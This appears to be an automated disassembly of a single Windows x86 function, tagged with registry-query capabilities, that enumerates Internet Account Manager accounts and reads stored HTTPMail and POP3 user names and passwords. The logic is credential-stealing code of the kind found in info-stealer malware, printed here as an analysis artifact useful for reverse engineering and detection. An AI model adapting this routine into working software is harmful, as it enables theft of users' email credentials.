Function at 0x40a6b0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x2e8
xor eax, eax
push ebp
push esi
mov esi, ecx
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
mov ecx, 0x12c0
lea edi, [esi + 0x90]
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
rep stosd dword es:[edi], eax
lea eax, [esp + 0x168]
push eax
call ebp
lea ecx, [esp + 0x20]
xor edi, edi
push ecx
push 0xf003f
lea edx, [esp + 0x16c]
push edi
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40aa65
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], 3
mov dword [esi + 0x4b90], edi
lea eax, [esp + 0x30]
lea ecx, [esp + 0x2c]
push eax
mov eax, dword [esp + 0x24]
push 0
push 0
push 0
lea edx, [esp + 0x240]
push ecx
mov ecx, dword [esp + 0x38]
push edx
push eax
push ecx
mov dword [esp + 0x4c], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea edx, [esp + 0x168]
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
push edx
mov dword [esp + 0x30], eax
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x168]
push 0x451860
push eax
call edi
lea ecx, [esp + 0x230]
lea edx, [esp + 0x168]
push ecx
push edx
call edi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x168]
push eax
push 0xf003f
push 0
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x10]
lea eax, [esp + 0xd0]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push str.HTTPMail_User_Name
push edx
mov dword [esp + 0x28], 0x96
call ebx
test eax, eax
jne 0x40a8cd
lea eax, [esp + 0xd0]
push eax
mov eax, dword [esi + 0x4b90]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
lea edx, [esi + ecx*4 + 0x90]
push edx
call ebp
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xd0]
push str.Hotmail
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esi + 0x4b90]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [esi + eax*4 + 0x158]
push ecx
call ebp
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push str.HTTPMail_Password2
push edx
mov dword [esp + 0x28], 0x96
call ebx
test eax, eax
jne 0x40aa37
mov ecx, dword [esp + 0x10]
mov eax, 2
xor edi, edi
cmp ecx, eax
mov dword [esp + 0x14], eax
jbe 0x40aa1d
mov eax, dword [esp + 0x14]
mov cl, byte [esp + eax + 0x38]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov ecx, dword [esp + 0x14]
test eax, eax
jne 0x40a89d
mov al, byte [esp + ecx + 0x38]
cmp al, 0x28
je 0x40a89d
cmp al, 0x29
je 0x40a89d
cmp al, 0x2e
je 0x40a89d
cmp al, 0x20
je 0x40a89d
cmp al, 0x2d
jne 0x40a8bb
mov eax, dword [esi + 0x4b90]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
lea eax, [edi + edx*4]
mov dl, byte [esp + ecx + 0x38]
inc edi
mov byte [eax + esi + 0xf4], dl
mov eax, dword [esp + 0x10]
inc ecx
cmp ecx, eax
mov dword [esp + 0x14], ecx
jb 0x40a86e
jmp 0x40aa1d
lea edx, [esp + 0x10]
lea eax, [esp + 0xd0]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push str.POP3_User_Name
push edx
call ebx
test eax, eax
jne 0x40aa4c
lea eax, [esp + 0xd0]
push eax
mov eax, dword [esi + 0x4b90]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
lea edx, [esi + ecx*4 + 0x90]
push edx
call ebp
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xd0]
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x10]
lea ecx, [esp + 0xd0]
push eax
mov eax, dword [esp + 0x1c]
push ecx
push edx
push 0
push str.Account_Name
push eax
mov dword [esp + 0x28], 0x96
call ebx
mov eax, dword [esi + 0x4b90]
lea ecx, [esp + 0xd0]
push ecx
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
lea eax, [esi + edx*4 + 0x158]
push eax
call ebp
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xd0]
lea edx, [esp + 0x38]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0x96
stosw word es:[edi], ax
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push str.POP3_Password2
push ecx
call ebx
test eax, eax
jne 0x40aa37
mov ecx, dword [esp + 0x10]
mov eax, 2
xor edi, edi
cmp ecx, eax
mov dword [esp + 0x14], eax
jbe 0x40aa1d
mov edx, dword [esp + 0x14]
mov al, byte [esp + edx + 0x38]
push eax
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov ecx, dword [esp + 0x14]
test eax, eax
jne 0x40a9f2
mov al, byte [esp + ecx + 0x38]
cmp al, 0x28
je 0x40a9f2
cmp al, 0x29
je 0x40a9f2
cmp al, 0x2e
je 0x40a9f2
cmp al, 0x20
je 0x40a9f2
cmp al, 0x2d
jne 0x40aa10
mov eax, dword [esi + 0x4b90]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
lea eax, [edi + edx*4]
mov dl, byte [esp + ecx + 0x38]
inc edi
mov byte [eax + esi + 0xf4], dl
mov eax, dword [esp + 0x10]
inc ecx
cmp ecx, eax
mov dword [esp + 0x14], ecx
jb 0x40a9c3
mov eax, dword [esi + 0x4b90]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [edi + eax*4]
mov byte [ecx + esi + 0xf4], 0
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
inc dword [esi + 0x4b90]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x28]
inc ecx
cmp eax, 0x103
mov dword [esp + 0x20], ecx
jne 0x40a720
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x2e8
ret